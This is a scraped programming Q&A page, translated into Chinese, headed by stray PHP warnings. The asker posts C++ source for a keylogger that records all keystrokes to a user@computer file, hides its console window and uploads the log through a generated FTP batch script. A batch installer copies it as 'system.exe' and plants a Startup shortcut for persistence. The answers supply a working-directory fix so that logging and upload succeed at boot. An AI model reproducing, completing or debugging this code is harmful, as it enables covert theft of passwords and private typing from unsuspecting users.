Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/windows/16.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
程序无法写入文件 我有一个.exe程序,用C++编写,它输出在运行时执行的TXT和.BAT文件。当我手动运行程序时,程序运行良好。然后我将.exe放入具有此路径的启动文件夹 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup_C++_Windows_Batch File - Fatal编程技术网

程序无法写入文件 我有一个.exe程序,用C++编写,它输出在运行时执行的TXT和.BAT文件。当我手动运行程序时,程序运行良好。然后我将.exe放入具有此路径的启动文件夹 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup

程序无法写入文件 我有一个.exe程序,用C++编写,它输出在运行时执行的TXT和.BAT文件。当我手动运行程序时,程序运行良好。然后我将.exe放入具有此路径的启动文件夹 %appdata%\Microsoft\Windows\Start Menu\Programs\Startup,c++,windows,batch-file,C++,Windows,Batch File,我尝试在启动文件夹中手动执行.exe,程序运行正常 然后我试着重新启动我的电脑。main.exe工作正常,但是所有文件输出都出错。启动文件夹中看不到由.exe生成的txt和bat。但是.exe运行正常。我想这只是因为文件输出受到了某种限制,我不知道。也许是关于权限?但我的是管理员帐户 我还尝试将.exe保存在以下目录中 %USERPROFILE%\sys\ 我创建了sys\文件夹 然后我制作了一个.lnk快捷方式,指向上面启动文件夹中的.exe 我双击了.lnk,程序运行正常,但奇怪的是.tx

我尝试在启动文件夹中手动执行.exe,程序运行正常

然后我试着重新启动我的电脑。main.exe工作正常,但是所有文件输出都出错。启动文件夹中看不到由.exe生成的txt和bat。但是.exe运行正常。我想这只是因为文件输出受到了某种限制,我不知道。也许是关于权限?但我的是管理员帐户

我还尝试将.exe保存在以下目录中

%USERPROFILE%\sys\
我创建了sys\文件夹

然后我制作了一个.lnk快捷方式,指向上面启动文件夹中的.exe

我双击了.lnk,程序运行正常,但奇怪的是.txt和.bat出现在启动文件夹中,而不是.exe实际所在的目录中。我希望文件显示在%USERPROFILE%\sys中\

但后来我试着重新启动我的电脑。同样的问题,程序运行正常,但没有文件输出

谢谢你的帮助

这是我的C++代码,但我认为应该是好的。

#include <iostream>
#include <fstream>
#include <windows.h>
#include <Lmcons.h>
#include <time.h>
#include <sstream>
#include <string>
using namespace std;

string getFileName();
string getDate();

void upload()
{
    //rename
    string oldname = getFileName();
    string newname = getFileName() + "_" + getDate();
    rename(oldname.c_str(), newname.c_str());
    //upload
    ofstream bat("upload.bat");
    if (bat.is_open())
    {
        bat << "@echo off" << "\n";
        bat << "ftp -s:ftp.txt" << "\n";
        bat.close();
    }
    ofstream ftp("ftp.txt");
    if (ftp.is_open())
    {
        ftp << // I've hidden this for obvious reasons
        ftp.close();
    }
    system("upload.bat");
    remove("upload.bat");
    remove("ftp.txt");
}

void startup()
{
    ifstream file(getFileName().c_str());
    if (file.is_open())
    {
        file.close();
        upload();
    }
}

int Save (int key_stroke, string file);
void Stealth();

string getComputerName()
{
    TCHAR computerName[MAX_COMPUTERNAME_LENGTH + 1];
    DWORD size = sizeof(computerName) / sizeof(computerName[0]);
    GetComputerName(computerName, &size);
    return computerName;
}

string getUserName()
{
    TCHAR name [UNLEN + 1];
    DWORD size = UNLEN + 1;
    if (GetUserName( (TCHAR*)name, &size ))
    {
        return name;
    }
    else
    {
        return "nil";
    }
}

string getDate()
{
    time_t seconds;
    time(&seconds);
    std::stringstream ss;
    ss << seconds;
    std::string ts = ss.str();
    return ts;
}

string getFileName()
{
    string filename = getUserName() + "@" + getComputerName();
    return filename;
}

int main()
{
    //Stealth();
    startup();
    char i;
    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
          if (GetAsyncKeyState(i) == -32767)
          Save(i, getFileName());
        }
    }
    system ("PAUSE");
    return 0;
}

int Save (int key_stroke, string file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file.c_str(), "a+");
    cout << key_stroke << endl;
    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "[ENTER]");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == 20)
        fprintf(OUTPUT_FILE, "%s", "[CAPS]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 46)
        fprintf(OUTPUT_FILE, "%s", "[DEL]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
}
md "%USERPROFILE%\sys\"
set copy="%~dp0system.exe"
set target="%USERPROFILE%\sys\"
xcopy /c "%copy%" "%target%" /i /r /f
set SCRIPT="%TEMP%\%RANDOM%-%RANDOM%-%RANDOM%-%RANDOM%.vbs"
echo Set oWS = WScript.CreateObject("WScript.Shell") >> %SCRIPT%
echo sLinkFile = "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\startup.lnk" >> %SCRIPT%
echo Set oLink = oWS.CreateShortcut(sLinkFile) >> %SCRIPT%
echo oLink.TargetPath = "%USERPROFILE%\sys\system.exe" >> %SCRIPT%
echo oLink.Save >> %SCRIPT%
cscript /nologo %SCRIPT%
del %SCRIPT%
pause

如果未指定绝对路径,文件将保存(如果权限允许)在工作目录中。这与实际可执行文件所在的目录不同

这就是为什么快捷方式也不起作用。它有一个单独的工作目录设置,如果没有设置,它将不会被设置到可执行文件的位置

您可以更改工作目录以匹配可执行文件的目录,也可以使用其他绝对路径来修复它。

添加此功能

string ExePath()
{
    char buffer[MAX_PATH];
    GetModuleFileName( NULL, buffer, MAX_PATH );
    string::size_type pos = string( buffer ).find_last_of( "\\/" );
    return string( buffer ).substr( 0, pos);
}
并在main()中设置工作目录


非常好,谢谢。

您没有设置工作目录。这可能是完全不同的。但输出文件仍应显示在与.exe相同的目录中?否。它们显示在工作目录中。转到%userprofile%并运行
sys\yourthing.exe
查看文件的位置。这就是为什么快捷方式的工作文件夹设置也与sys中的.exe显示在同一目录中的原因\n手动执行和启动执行是否可能是使用不同的用户权限完成的?
chdir(ExePath().c_str());